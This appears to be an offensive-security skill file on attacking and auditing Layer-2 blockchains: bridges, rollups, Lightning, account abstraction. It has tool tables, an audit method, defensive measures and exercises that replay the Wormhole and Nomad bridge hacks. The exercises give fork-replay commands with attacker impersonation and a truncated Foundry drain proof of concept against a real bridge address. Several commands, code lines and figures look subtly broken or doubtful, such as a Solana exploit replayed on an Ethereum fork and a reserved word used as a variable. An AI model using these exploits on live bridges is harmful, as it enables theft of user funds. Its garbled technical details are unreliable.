Skill: Layer-2 Blockchain Attack

Supplementary Files:

• payloads.md — Command + exploit catalogue organized by L2 family (Lightning Network, Optimistic Rollups, ZK Rollups, Bridges, Account Abstraction, DA layers) — 60+ code blocks with Foundry/Hardhat/Brownie PoCs, Slither/Echidna harnesses, and replay attack templates for every major L2 incident class.
• test-cases.md — 12 structured test cases (TC-L2-001 through TC-L2-012) across Static Analysis, Bridge Replay, Sequencer/Fraud-Proof Analysis, ZK Soundness, Lightning/HTLC, Account Abstraction, and DA Layer categories.
• guides/blockchain-l2-attack-playbook.md — Comprehensive playbook: L2 architecture comparison table, bridge security taxonomy (lock-mint / burn-mint / liquidity / validator-based), real-world exploit deep-dives (Wormhole $326M, Nomad $190M, Ronin $625M, Poly Network $611M, Multichain $1.5B, Horizon $100M), audit methodology, and local lab setup (Foundry + Anvil + OP Bedrock devnet + Arbitrum Nitro dev node + bridge simulator).

Summary

Layer-2 (L2) blockchain security skill domain covering everything above the L1 base layer: payment channels, Optimistic and ZK rollups, sidechains, cross-chain bridges, account abstraction, and data-availability layers.

Tools: Foundry (forge/cast/anvil/chisel), Hardhat, Brownie/Ape, Slither, Mythril, Manticore, Echidna, Etheno, web3.py/ethers.js, Tenderly, Forta, OpenZeppelin Defender, Revoke.cash/Etherscan tools

Domain: blockchain-l2

MITRE ATT&CK: TA0006-Credential Access (validator key compromise, sequencer key theft, multisig social engineering)

Description

Audit, exploit, and harden protocols that live above L1 — payment channels, rollups, sidechains, bridges, account abstraction, and data-availability layers. L2 security is fundamentally different from L1 smart-contract auditing because the trust assumptions, the cryptographic primitives, and the attack surface all change.

The five things that make L2 security different from blockchain-web3:

1. Off-chain components are now in scope. An L1 audit stops at the contract bytecode. An L2 audit must also cover the sequencer, the prover, the validator set, the relayer, the bridge multisig, and the off-chain message-passing daemon. The 2022 Ronin bridge ($625M loss) was not a smart-contract bug — it was a 5-of-9 validator multisig socially engineered down to effectively 3-of-5. The contract was "correct."
2. Cryptography that L1 takes for granted is now attack surface. ZK rollups depend on sound zero-knowledge proof systems (PLONK, Halo2, STARK). A verifier bug or trusted-setup compromise breaks the entire chain. The 2022 Wormhole hack ($326M) was a signature verification bypass on Solana's SignatureAccount program — the contract correctly verified an Ed25519 signature, just not the right one.
3. Liveness and censorship are first-class. An Optimistic rollup's sequencer can censor any user by refusing to include their transaction, and can stall the entire chain by going offline. There is no L1 equivalent — L1 validators are decentralized by assumption. L2 sequencer centralization is a $1B+ outage risk.
4. Bridges are the single most attacked primitive in all of crypto. As of 2024, bridge hacks account for the majority of all stolen crypto value, totaling >$2.8B in known losses. Bridges concentrate funds (the contract holds TVL from both chains), inherit the weaker security model of the two chains they connect, and almost always have an off-chain signer component that is the actual weak link.
5. Each L2 family has its own exploit class. Optimistic rollups: fraud-proof gaming. ZK rollups: prover/verifier soundness. Polygon PoS: validator-set stake concentration. Lightning: channel jamming and HTLC pinning. Bridges: validator/signature multisig compromise plus message-replay. Account abstraction: Paymaster griefing and bundler front-running. Treating L2 as "just more EVM" misses every L2-specific bug.

Differentiation from blockchain-web3

blockchain-web3 covers L1 EVM smart contracts: Solidity basics, the EVM object format, reentrancy/integer-overflow/access-control bugs, DeFi economic attacks (flash loans, oracle manipulation, MEV), proxy patterns, and L1 wallet security.

blockchain-l2-attack covers everything above L1:

Concern	blockchain-web3 (L1)	blockchain-l2-attack (L2)
Scope	Single EVM chain (Ethereum mainnet, BNB, Arbitrum as a target)	Off-chain + on-chain: rollup sequencers, provers, validators, bridge multisigs
Cryptography in scope	ECDSA, basic Merkle proofs	Ed25519 (Solana), BLS (validator sets), ZK proof systems (PLONK, Halo2, STARK), HTLC/PTLC, threshold signatures
Off-chain components	Out of scope (L1 node is trusted infrastructure)	In scope — sequencer, prover, validator daemon, relayer, indexer
Liveness / censorship	L1 liveness assumed	Critical attack surface — sequencer DoS, validator collusion, channel jamming
Token flow	Tokens stay on one chain	Tokens cross chains via lock-mint / burn-mint / liquidity — each with distinct failure modes
Notable incidents studied	The DAO (2016), bZx (2020), Cream (2021), Euler (2023)	Ronin ($625M), Poly Network ($611M), Wormhole ($326M), Nomad ($190M), Multichain ($1.5B), Horizon ($100M), Lightning channel pin attacks
Primary tooling	Slither, Mythril, Foundry on L1 contracts	Same tools PLUS bridge simulators, L2 node devnets (OP Bedrock, Arbitrum Nitro), c-lightning/LND harnesses, ZK circuit analyzers

When in doubt: if the bug lives in a contract that runs on Ethereum L1 and could be replayed on any L1 EVM chain, it belongs in blockchain-web3. If the bug requires the sequencer, prover, validator set, bridge multisig, off-chain relayer, or L2-specific precompile, it belongs here.

Difference from crypto-attacks: Crypto-attacks covers the algorithms (RSA, ECC, AES, padding oracles, lattice). This skill covers systems built on top of those algorithms — bridge signature aggregation, rollup fraud proofs, ZK verifier contracts. The math is assumed sound; the wiring on top of it is not.

Difference from supply-chain-security: Supply-chain covers dependency provenance and CI/CD compromise. This skill covers a different kind of supply chain — the cross-chain message-passing pipeline where a single compromised relayer can mint unlimited tokens on the destination chain.

Use Cases

• Cross-chain bridge pre-deploy audit: lock-mint/burn-mint wrapper review, validator-set membership changes, signature aggregation soundness, message-replay protection across chain IDs, and rate-limiting on the wrapper contract.
• Bridge post-incident forensic replay: given a drained bridge address and the exploit tx hash (Wormhole, Nomad, Ronin, Poly Network, Multichain, Horizon), reproduce the exploit on an anvil fork at the pre-incident block, identify the root cause, and write a regression test against the patched contract.
• Optimistic rollup security review: challenge-period analysis, fraud-proof soundness, sequencer centralization mapping, sequencer DoS surface, forced-inclusion mechanism review, and L1<->L2 message-passing replay protection.
• ZK rollup soundness review: verifier contract audit, trusted setup inspection (Powers of Tau ceremony), circuit-level review (Cairo, Circom, Halo2), prover DoS surface, and proof-replay protection across chains.
• Lightning Network node pentest: c-lightning / LND / Eclair configuration review, channel-jam attack surface, HTLC-pin DoS, onion-routing privacy analysis, and WatchTower / penalty-transaction review.
• Polygon PoS validator review: validator-set stake concentration, bor/heimdall node configuration, checkpoint verification on Ethereum L1, and the bridge contracts (Plasma -> PoS transition surface).
• Sidechain audit (Gnosis Chain, Palm): POA validator set review, bridge multisig threshold analysis, native bridge contract audit, and exit-game soundness for any legacy Plasma components.
• ERC-4337 account abstraction review: Bundler mempool censorship analysis, Paymaster solvency and griefing vectors, factory-callee front-running on createSender, signature aggregation soundness, and storage-slot collision risk across smart accounts.
• DA layer (Celestia/EigenDA/Avail) integration review: blob-KZG proof verification, light-client fraud-proof review, sequencer sampling resistance (DAS), and the bridge contract that bonds DA-layer asserts back to a settlement chain.
• Real-world exploit deep dive: full chain-by-chain reconstruction of any of the $100M+ L2 hacks — useful for red-team training, post-mortem writing, and understanding what actually goes wrong.

Core Tools

L1 Forking + Rollup Node Devnets

Tool	Purpose	Command Example
Anvil (Foundry)	Local mainnet fork — required for bridge replay at a specific block	anvil --fork-url $MAINNET_RPC --fork-block-number 14282107 --port 8545
OP Stack devnet (Bedrock)	Local Optimism rollup — test sequencer, L1<->L2 message passing	cd optimism && make devnet-up
Arbitrum Nitro dev node	Local Arbitrum rollup — test sequencer, Nitro fraud-proof mechanics	docker run -d -p 8547:8547 ghcr.io/offchainlabs/nitro-node-devnode
Foundry chisel	Solidity REPL for interactive bridge storage inspection	chisel then >>> cast_call("0xBridge", "nextNonce(address)", victim)
Cast	RPC scripting for L1/L2 — read bridge state, decode events	cast logs 0xBridge "Deposit(address,uint256,bytes32)" --rpc-url $L1_RPC --from-block 14282107

Static + Symbolic Analysis (extends to bridge/rollup contracts)

Tool	Purpose	Command Example
Slither	Static analysis on L2 contracts — bridge wrappers, ERC-4337 entrypoint, rollup inbox/outbox	slither src/Bridge.sol --detect reentrancy,arbitrary-send-eth,unchecked-transfer
Mythril	Symbolic execution — finds signature-bypass, replay, and arithmetic bugs in bridge verifiers	myth analyze src/WormholeBridge.sol --modules transaction_order_independence,ether_thief --max-depth 50
Manticore	Symbolic execution over EVM bytecode — used to verify bridge signature aggregation soundness	manticore src/MultichainRouter.sol

Property Testing + Fuzzing

Tool	Purpose	Command Example
Echidna	Invariant fuzzer — define accounting invariants across bridge locks/mints	echidna-test echidna/BridgeEchidna.sol --contract BridgeEchidna --test-mode property --test-limit 100000
Foundry invariant tests	Built-in invariant testing across bridge lock/mint/burn flows	forge test --invariant-test --match-contract BridgeInvariantTest

Dynamic Frameworks + RPC Scripting

Tool	Purpose	Command Example
Foundry (forge/cast/anvil/chisel)	Full Rust-based toolkit — testing, RPC calls, local chain, REPL	forge test -vvv --fork-url $L1_RPC --fork-block-number 14282107
Hardhat	JS/TS framework — popular for L2 project test suites	npx hardhat test --network localhost
Brownie / Ape	Python frameworks — bridge scripts, replay harnesses	ape test --network ::foundry: or brownie run scripts/bridge_poc.py
Etheno	Multiplexing RPC — record a mainnet tx sequence, replay against a local node	etheno --athena --rpc-port 8546 --record bridge_drain.jsonl

Monitoring + Incident Response

Tool	Purpose	Command Example
Tenderly	Tx simulation + monitoring — simulate a bridge drain before it lands, alert on anomalous mints	tenderly simulate --rpc-url $RPC --block 14282107 <tx-data>
Forta Network	Real-time detection bots — alert on bridge anomalies (mint-without-lock, validator set change)	Deploy a Forta bot from forta-network/agents/bridge-mint-monitor
OpenZeppelin Defender	Automated incident response — pause a bridge via Sentinel when anomalous mint detected	Configure Sentinel in defender/config.json with bridge-mint-pause autotask
Revoke.cash / Etherscan tools	Approvals + tx decoder — useful for wallet-drain triage after a bridge incident	cast 4byte-decode 0x42584e5f (Wormhole transferTokens selector)

Methodology

L2 Audit Seven-Phase Process

Phase 1           Phase 2           Phase 3           Phase 4           Phase 5           Phase 6           Phase 7
Threat Model   →  Component Map  →  Contract Audit →  Off-Chain Audit → Cross-Chain     →  Exploit PoC    →  Report +
(Scope, chain     (Bridge,           (Slither/Mythril/ (Sequencer,        Replay +         (Fork replay,      Defense
ID, trust         Sequencer,         Echidna on        Validator set,     Fuzz             Lab                Recs)
assumption)        Prover, Validator) bridge wrapper)   Relayer, Signer)  harness)         setup)
   │                 │                 │                 │                 │                 │                 │
   ▼                 ▼                 ▼                 ▼                 ▼                 ▼                 ▼
Lock-mint vs       Lock-up contract  Reentrancy,       Sequencer         Replay past       Wormhole/Nomad    Findings +
burn-mint vs       on source chain,  signature         censorship,       incidents on      PoC at exact      severity +
liquidity model    mint/burn/exit    aggregation       validator         anvil fork        pre-incident      defense-in-depth
Trust assumption   on destination,   soundness,        social-eng        block             block             recommendations
matrix             inbox/outbox      message-replay    surface,                                              for each
                   contracts         defense           prover DoS                                            component

Phase 1 — Threat Model & Scope

Before any tooling, document:

• Chain IDs in scope (L1, L2 source, L2 destination).
• Bridge type: lock-mint (tokens locked on source, minted on destination), burn-mint (tokens burned on source, minted on destination), liquidity (both sides hold tokens, off-chain relayer moves messages), validator-based (multisig signs messages).
• Trust assumption: who can mint unlimited tokens on the destination if compromised? Who can censor user exits on the source?
• Off-chain components in scope: sequencer, prover, validator set, relayer daemon, indexer.
• Authorization: scope rules, bug bounty terms, "no live mainnet attack" rule.

Phase 2 — Component Map

# Identify every address involved in the L2
# - L1 bridge contract (source side)
# - L2 bridge contract (destination side)
# - Sequencer address (Optimistic/ZK rollup)
# - Validator set addresses (Polygon PoS, Ronin)
# - Prover/Aggregator address (ZK rollup)
# - Relayer address (state channels, bridges)
# - Multisig signer set (off-chain admin)

# Enumerate via the protocol's docs + Etherscan labels
cast interface 0xBridgeL1 --rpc-url $L1_RPC > bridge_l1.abi
cast interface 0xBridgeL2 --rpc-url $L2_RPC > bridge_l2.abi
cat bridge_l1.abi | grep -E 'function (deposit|withdraw|finalize|mint|burn|escape|prove)'

Phase 3 — Contract Audit (same as L1, but bridge-aware)

# Standard Slither + Mythril + Echidna pass on every contract in the L2 surface
slither src/bridge/ --filter-paths "lib|test|mocks"
myth analyze src/bridge/L1Bridge.sol --modules transaction_order_independence,ether_thief --max-depth 50
myth analyze src/bridge/L2Bridge.sol --modules arbitrary_send_eth,suicide --max-depth 50

# Bridge-specific: verify the lock-mint accounting invariant in Echidna
echidna-test echidna/BridgeLockMintEchidna.sol --contract BridgeLockMintEchidna --test-mode property

Phase 4 — Off-Chain Audit

This is where L2 audits diverge from L1. Map and review:

• Sequencer (Optimistic/ZK rollup): Who operates it? Can it censor? What's the forced-inclusion escape hatch (L1 enqueue on OP Stack, L1 sendL2Message on Arbitrum)? Can a single sequencer key compromise mint authority?
• Validator set (Polygon PoS, Ronin, Horizon): What's the threshold (M-of-N)? What's the stake distribution? Can a social-engineering attack reduce effective threshold?
• Prover / Aggregator (ZK rollups): Who runs the prover? Is the trusted-setup ceremony transcript published? Is the verifier contract matched to the trusted-setup SRS?
• Relayer daemon (Wormhole, Multichain): Where does it run? Does it have access to validator keys? Is the daemon host hardened?

Phase 5 — Cross-Chain Replay

# Replay a past incident on a fork at the pre-incident block
anvil --fork-url $L1_RPC --fork-block-number 14282107 --port 8545 &  # pre-Wormhole hack
cast rpc --rpc-url http://localhost:8545 anvil_impersonateAccount 0xAttacker
cast send --rpc-url http://localhost:8545 --from 0xAttacker --unlocked 0xBridge <exploit-calldata>
# Verify same loss occurred
cast balance 0xAttacker --rpc-url http://localhost:8545

Phase 6 — Exploit PoC on Local Lab

# Run the exploit as a forge test against the fork
forge test --match-test test_PoC_WormholePostMessageBypass -vvvv \
  --fork-url $L1_RPC \
  --fork-block-number 14282107 2>&1 | tee evidence/wormhole_poc.log

Phase 7 — Report + Defense Recommendations

For every finding, document:

• Affected component (contract, sequencer, validator set, prover).
• Trust assumption violated (e.g., "5-of-9 multisig reduced to effective 3-of-5 via social engineering").
• Exploitability under realistic conditions (gas cost, mempool visibility, MEV).
• Defense recommendation (rate limit, timelock, increase threshold, add WatchTower, switch to ZK proof).

Quick Selection Guide

Scenario	Primary Approach	Alternative
Bridge pre-deploy audit	Slither + Echidna on bridge wrapper + off-chain validator set threat model	Mythril signature-aggregation verification
Replay Wormhole-style hack	anvil --fork-block-number 14282107 + forge PoC	Tenderly simulation
Replay Nomad-style hack	anvil --fork-block-number 15259350 + forge PoC (indiscriminate-call bug)	Direct cast replay
Optimistic rollup sequencer audit	Bedrock devnet + forced-inclusion test	Tenderly fork
ZK rollup verifier audit	Slither on verifier + manual soundness review of circuit	Certora Prover on verifier
Lightning Network channel review	c-lightning regtest harness + HTLC-pin PoC	LND sim-network mode
ERC-4337 entrypoint audit	Slither on EntryPoint + invariant tests on bundler griefing	Echidna on factory-callee front-running
Polygon PoS validator review	Stake concentration analysis + Heimdall checkpoint audit	Manual review of bor consensus
DA layer integration review	KZG proof verification review + DAS sampling resistance test	Celestia light-client audit
Multisig signer set review	Manual + on-chain threshold diff	Forta alerting on threshold changes

Defense Perspective

Bridges & Cross-Chain Messaging

Defense Measure	Description
Rate limiting on bridge mints	Cap mintable-per-block to N% of total liquidity. Slows down an attacker even if a key is compromised, giving time to pause.
Multi-sig threshold > 50% + geographic distribution	M-of-N where M > N/2, with signers distributed across legal jurisdictions and hardware security modules (HSMs). Resists both key theft and coercion.
Bridge pausable + Sentinel	Bridge should be pausable by a 2-of-3 multisig, with an automated Sentinel (OpenZeppelin Defender) that pauses on anomalous mint volume.
Per-chain message-replay protection	Every cross-chain message must commit to (source chain ID, destination chain ID, sequence number). Reject replays from a different chain ID.

Sequencers & Data Availability

Defense Measure	Description
Sequencer failover + escape hatch	L1 forced-inclusion mechanism (OP enqueue, Arbitrum L2ToL1MessagePasser) must work even when the sequencer is offline. Users can always exit via L1.
Fraud-proof window ≥ 7 days	Optimistic rollup challenge windows must be long enough for honest watchers to catch and prove fraud. 7 days is the de-facto minimum.
ZK proof system audit + trusted setup	Use a published, audited proving system (Halo2, PLONK). Publish the trusted-setup ceremony transcript. Use a universal SRS where possible (e.g., Aztec's ceremony).

Validator Sets & State Channels

Defense Measure	Description
Timelock on validator-set changes	Any change to the validator set or multisig threshold must wait 24-48h on-chain. Lets users exit before a malicious threshold change takes effect.
WatchTower network	For Lightning and state channels, a WatchTower service watches for old-state channel closes and broadcasts penalty transactions. Reduces need for 24/7 node liveness.
Account abstraction bundler decentralization	Bundlers must be a competitive, decentralized network — not a single operator. Otherwise the bundler can censor any UserOperation.

Practical Steps

Detailed payloads in payloads.md, complete test checklist in test-cases.md.

Exercise 1: Replay the 2022 Wormhole Hack on a Fork

Goal: reproduce the Wormhole $326M exploit on a local anvil fork at the pre-incident block.

# Wormhole hack: Solana mainnet block ~130889732, Ethereum block ~14282107
# The bug: postMessage() on the Wormhole bridge verified a VAA (Verified Action Approval)
# signature without checking that the signer was the registered Guardian set.
# An attacker faked a Guardian signature and minted 120,000 wETH on Solana.

# Fork at the pre-incident block
anvil --fork-url $MAINNET_RPC --fork-block-number 14282107 --port 8545 &
sleep 2

# Impersonate the attacker EOA
ATTACKER=0x629e7Da20197a5429d70DA521639708c5a6d8242
cast rpc --rpc-url http://localhost:8545 anvil_impersonateAccount $ATTACKER
cast rpc --rpc-url http://localhost:8545 anvil_setBalance $ATTACKER 0x1000000000000000000

# Decode the exploit calldata
cast tx 0x629e7Da20197a5429d70DA521639708c5a6d8242 --rpc-url http://localhost:8545
# Look for: postMessage call with a fake VAA

Exercise 2: Foundry PoC of the Nomad Indiscriminate-Call Bug

Goal: write a forge test that demonstrates how the 2022 Nomad hack let any address drain the bridge by replaying a single calldata pattern.

// test/NomadPoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

interface INomadBridge {
    function process(bytes memory _message) external;
}

contract NomadPoC is Test {
    INomadBridge bridge = INomadBridge(0x88A69B4E698A4B090DF6CF5A7bE7d7D3Caf0cE44);

    function test_PoC_NomadIndiscriminateProcess() public {
        // Fork at block 15259350 (immediately before the exploit)
        vm.createSelectFork(vm.envString("MAINNET_RPC"), 15259350);

        // Build a message with: recipient = address(this), amount = 1 ether
        // The bug: any properly-formatted message was treated as valid
        bytes memory message = _craftMessage(address(this), 1 ether);

        uint256 before = address(this).balance;
        bridge.process(message);
        uint256 after = address(this).balance;

        assertGt(after, before, "funds received from indiscriminate process()");
    }